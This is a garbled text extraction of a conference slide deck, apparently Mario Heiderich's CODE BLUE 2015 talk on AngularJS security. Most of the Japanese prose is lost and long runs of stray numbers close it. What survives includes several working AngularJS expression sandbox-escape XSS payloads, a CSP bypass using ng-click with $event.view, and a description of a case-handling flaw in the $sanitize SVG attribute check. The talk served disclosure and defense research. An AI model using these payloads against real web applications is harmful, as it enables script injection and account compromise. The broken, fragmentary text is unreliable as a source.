AngularJSとの危険な関係 by Mario Heiderich - CODE BLUE 2015

Embed Size (px)

Citation preview

PowerPoint

AngularJS

[email protected] || @0x6D6172696F

DOM

Cure53

HTML5DOM SVG

JavaScriptXSS

HTML5

DOM

@0x6D6172696F

[email protected]

AngularJS

AngularJSJava)

AngularJS

JavaScript MVC

MVWModel-View-Whatever

Google

GitHub

AngularJS

AngularJS

AngularJS

Web

API

HTMLmarkup-sugar

Version 2.0

MVC?

AngularJS

Web

$scope.$eval CSPCSP

https://docs.angularjs.org/guide/security

A1:

A2:

A3: CSP

A4:

A1

A1: AngularJS

AngularJS

DOM

DOM

AngularJS

XSS

A1:

AngularJS

{{constructor.constructor('alert(1)')()}}

constructor constructor Function

Function('code here')(); // like an eval

AngularJS1.01.2.0

AngularJS 1.1.x

API

{{ constructor.constructor('alert(1)')() }}

A1:

AngularJS

Function ()

Function

AngulartJS

ES5 __proto__

A1:

AngularJS

Jann HornMathias KarlssonGbor Molnr

Function

{{ toString.constructor.prototype.toString =toString.constructor.prototype.call; ["a","alert(1)"].sort(toString.constructor) }}

{{ !ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(42);' )) ); }}

A1:

Jann Horn 1.3.2

{{objectPrototype = ({})[['__proto__']];objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest);$root.$$listenerCount[['constructor']] = 0;$root.$$listeners = [].map;$root.$$listeners.indexOf = [].map.bind;functionPrototype = [].map[['__proto__']];functionToString = functionPrototype.toString;functionPrototype.push = ({}).valueOf;functionPrototype.indexOf = [].map.bind;foo = $root.$on('constructor', null);functionPrototype.toString = $root.$new;foo();}}{{functionPrototype.toString = functionToString;functionPrototype.indexOf = null;functionPrototype.push = null;$root.$$listeners = {};baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')();baz = true;''}}

A1:

1.3.2

windowFunctionObjectcall() apply()documentDOM

RegEx newanonymous

{{'this is how you write a number properly. also, numbers are basically arrays.';0[['__proto__']].toString = [][['__proto__']].pop;0[['__proto__']][0] = 'alert("TROLOLOL\\n"+document.location)';0[['__proto__']].length = 1;'did you know that angularjs eval parses, then re-stringifies numbers? :)';$root.$eval("x=0", $root);}}

A1:

copy&paste

PASTE HERE

A2

A2:

AngularJSHTML

$sanitize

XSSHTML

HTML

A2:

2008HTML

John E. Resig

Chrome

Gareth Heyes!

:

Chrome SVG !

A2:

DOM

document.implementation DOMPurify

SVG(--)

SVG

SVG

Chrome

Roman Shafigullin

:

Chrome mXSS

A3

A3: CSP

AngularJSCSP

CSP Content Security Policy.

XSS

CSP

A3: CSP

CSPAngularJSWeb

onclick=alert(1)

ng-click=$event.view.alert(1)

$event view window

Version1.1.5

XSSXSSXSSXSSXSS

A3:

AngularJSwindow

ChromeBlob

Blob AngularJS

ES6 Reflect API.

Version 1.3.1

Chrome Reflect.construct()

Firefox Edge blobCSP


XSS

XSS


XSS

A3: CSP

Google CDN

Google collision check

1.2.15

WARNING: Tried to load angular more than once.

Google CDNCSP


CLICKME">

A4

A4:

AngularJS

Google AngularJS

A4: The Con-Setup

QAPull

$sanitizer

!

A4:

// SVG attributes (without "id" and "name" attributes)// https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributesvar svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-form,ascent,' + 'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,' + 'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,' + 'font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,' + 'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,' + 'keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,' + 'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,' + 'overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' + 'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,' + 'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,' + 'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,' + 'stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,' + 'underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,' + 'viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,' + 'xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,' + 'zoomAndPan');

WHATWG Wiki: https://wiki.whatwg.org/wiki/Sanitization_rules

A4:

angular.forEach(attrs, function(value, key) { var lkey = angular.lowercase(key); // < here! var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background'); if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value)); out('"'); } });

lowercase SVG

A4:

^^

A4:

href

A4:

Google

AngularJS Team

(^^;;

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Any commits to this file should be reviewed with security in mind. * * Changes to this file can potentially create security vulnerabilities. * * An approval from 2 Core members with history of modifying * * this file is required. * * * * Does the change somehow allow for arbitrary javascript to be executed? * * Or allows for someone to change the prototype of built-in objects? * * Or gives undesired access to variables likes document or window? * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

(^O^)/

AngularJS

CSP

Google

Google

Gareth McHeyes

Jann Horn

Mathias Karlsson

Gbor Molnr

David Ross

Eduardo Vela

2

3

4

5

2

3

4

5

2

3

4

5

2

3

4

5

2

3

4

5

2

3

4

5

2

3

4

5

2

3

4

5

2

3

4

5